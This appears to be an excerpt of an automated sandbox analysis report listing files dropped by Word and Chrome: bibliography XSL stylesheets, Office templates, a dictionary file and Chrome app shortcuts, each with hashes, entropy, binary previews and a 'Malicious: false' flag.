Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19357
Entropy (8bit):	7.470660115254047
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUkj8MJhQ4dMSEqc4uOq673986jL:VAxllN1XTQTNwtL
MD5:	24DF79E9906F6708986D3519B72182D5
SHA1:	15D0F64F1AD437984940F0913C8857E7E01CD5D7
SHA-256:	643909D5EE655D1B2F2D2CABFDCD2534DB2CA0E28EB79B76D0CFE94C6E0B8CA8
SHA-512:	96B3AB6F0B5F38D747C41D4875825BA1ECA778C11841C5F21D6835B559A9D95653DC45FCC7555E8C31A7404641F04984045C4B7663703D19DAD06A0D9A3EB9A0
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	3.4209113207139414
Encrypted:	false
SSDEEP:	3:xdll9SllHGVzS9b/t8tEpiWGZwdhUElXKlV:nllwsVW9btpiWvh1KlV
MD5:	918F72FB9C81EC44ABE7C90A4921CA72
SHA1:	3B4DF1BD441D996AA86314CB996745C532A49256
SHA-256:	B7E60F896CD01E9B37F5CF8233E9AF7717B669E807CF09BB063D262A72DF9B52
SHA-512:	90176B31BF7E43B7BA5B9004CB720FA490FBF37687E4D1403CFD6480FAE5DEA4D7D017E0F7CAE0B20E16095F57A0AD71BC8AD049BA61FBEEF99F08EBFFF1CDEC
Malicious:	false
Preview:	.user...................................................b.r.o.k.................>...\|.....Xz.kM...H......j......>...\|..?..h.\|..:...:..M............:....>../...?..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~WRD0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19357
Entropy (8bit):	7.470660115254047
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUkj8MJhQ4dMSEqc4uOq673986jL:VAxllN1XTQTNwtL
MD5:	24DF79E9906F6708986D3519B72182D5
SHA1:	15D0F64F1AD437984940F0913C8857E7E01CD5D7
SHA-256:	643909D5EE655D1B2F2D2CABFDCD2534DB2CA0E28EB79B76D0CFE94C6E0B8CA8
SHA-512:	96B3AB6F0B5F38D747C41D4875825BA1ECA778C11841C5F21D6835B559A9D95653DC45FCC7555E8C31A7404641F04984045C4B7663703D19DAD06A0D9A3EB9A0
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	2.699513850319966
Encrypted:	false
SSDEEP:	3:QH67vln:Qa79
MD5:	02D52CC7E56EDC72F48B849DD008B370
SHA1:	15B9F79906EDFC98224F857DEC8528D02DD68107
SHA-256:	86C89C4C21847C61EE136A4B19FC5A701D1C387A4B50A728BEBB2CFF56AC4855
SHA-512:	50B53DCAF8A68B2DEBF8B0D43EFA5C3F97079ECB675044801F5F0B69DDB174635A90E1D88041B2361087CA9959B0BD9431568497646CBAFB548EA2A677AF5789
Malicious:	false
Preview:	..b.r.o.k.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 21:14:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9871951746803256
Encrypted:	false
SSDEEP:	48:87gbdKvTDI3zH/idAKZdA1uehwiZUklqeh9y+3:87bvnI3+ey
MD5:	935CFDE6A724CD81170DABC74AE7ACC2
SHA1:	5266EA3FDF0BDEAAEAE3D58DC4865BDE6DA36B0E
SHA-256:	AC345BDD1438C24BAA108FEAF8EDEE620A519CBE3DB982DE504765AE43EDE3EB
SHA-512:	3F44307F52FB3C2F0AE4A8F14952323BD8957A16ABDA29FF2C42A47BFC7641CB1B75C5BA079DA08EAFC8511E411D46BC2210338C3A3291A8F8D190F29EAE74AD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........!......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IRY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VRY.....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VRY............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VRY.....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 21:14:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.003186760531007
Encrypted:	false
SSDEEP:	48:8agbdKvTDI3zH/idAKZdA1Heh/iZUkAQkqehOy+2:8abvnI3o9Qry
MD5:	6980B5652B1D7C2568FB10B84E70A546
SHA1:	54DF860B979668B62A780C7DBE675A8F3C3051DF
SHA-256:	3ACBF1AAB0461BC349EC91A2D8E0075AE83573204B505B63C8365BBB780FBB90
SHA-512:	EA9F86AE29E6FD889D91E2E7E23C25585A65251BE256263F70999ECC8146F17B54322A2ED7E6621C215B220FC2FBC264A894BF822115CF9C40552A2713DABC11
Malicious:	false
Preview:	L..................F.@.. ...$+.,....k...!......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IRY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VRY.....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VRY............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VRY.....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 08:59:33 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.009934025163267
Encrypted:	false
SSDEEP:	48:8FgbdKvTDI3bH/idAKZdA149eh7sFiZUkmgqeh7ssy+BX:8FbvnI3MnKy
MD5:	CE60EA938560A3DD55A43D190B48CCFF
SHA1:	6C68ABBF9E4F9F9F95C2B47E33DEC426260504F8
SHA-256:	4D643FF7598C86F4BDB21F9458C8A029B17D0E7FCCF274529353F33E07774858
SHA-512:	30E363DADBF3472AC2F1CB3BA9261DD0DD9A1A84975F290219730737911020C0F0A05F05B2DE7CECEAADD4312E0C53997CC10185C55F2509CC2BDC4CC089D348
Malicious:	false
Preview:	L..................F.@.. ...$+.,....K..r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IRY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VRY.....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VRY............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.L....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 21:14:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.001181128466423
Encrypted:	false
SSDEEP:	48:8DgbdKvTDI3zH/idAKZdA14ehDiZUkwqehiy+R:8DbvnI3Dky
MD5:	08F800A54909ED4A04B1152306E59471
SHA1:	8AC6495D3743DB413AD3AC824F7F3EC9D61C6135
SHA-256:	B41596E9B53F95975157D15E1BF67203B46D6D2E61FEEC2054DBCEF91363FCF9
SHA-512:	3B27602BCA98A84C5DD2AA20A45B888D6B837A24BB99830369FB1B2CF0D82AF3BFEBDD52FFA71115A4BCA37E01E46DC9279D2C8A5811F4D2741AFFEE367D620A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....`{...!......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IRY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VRY.....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VRY............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VRY.....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 21:14:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9905253669514513
Encrypted:	false
SSDEEP:	48:84/gbdKvTDI3zH/idAKZdA1mehBiZUk1W1qehYy+C:84/bvnI3D94y
MD5:	44C51701D21A98EBFB597EA02178B568
SHA1:	EEAC4956EEABE89FFF3BD1A557C36AF0A48B7EE3
SHA-256:	7D86F34E57688A209D84EBD8C9DA72BC02AD6DD42E9CA5CCEFD773EBCF6C17EF
SHA-512:	D946466C35B12253F9444847EAB1F92FE89205223B03CFC18D8DD927B2ECC83EC5BDC65B4D41A5E72C16A519CCBFEAA5879428257E01EEFC5735FFFC79A33FBA
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........!......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IRY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VRY.....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VRY............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VRY.....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

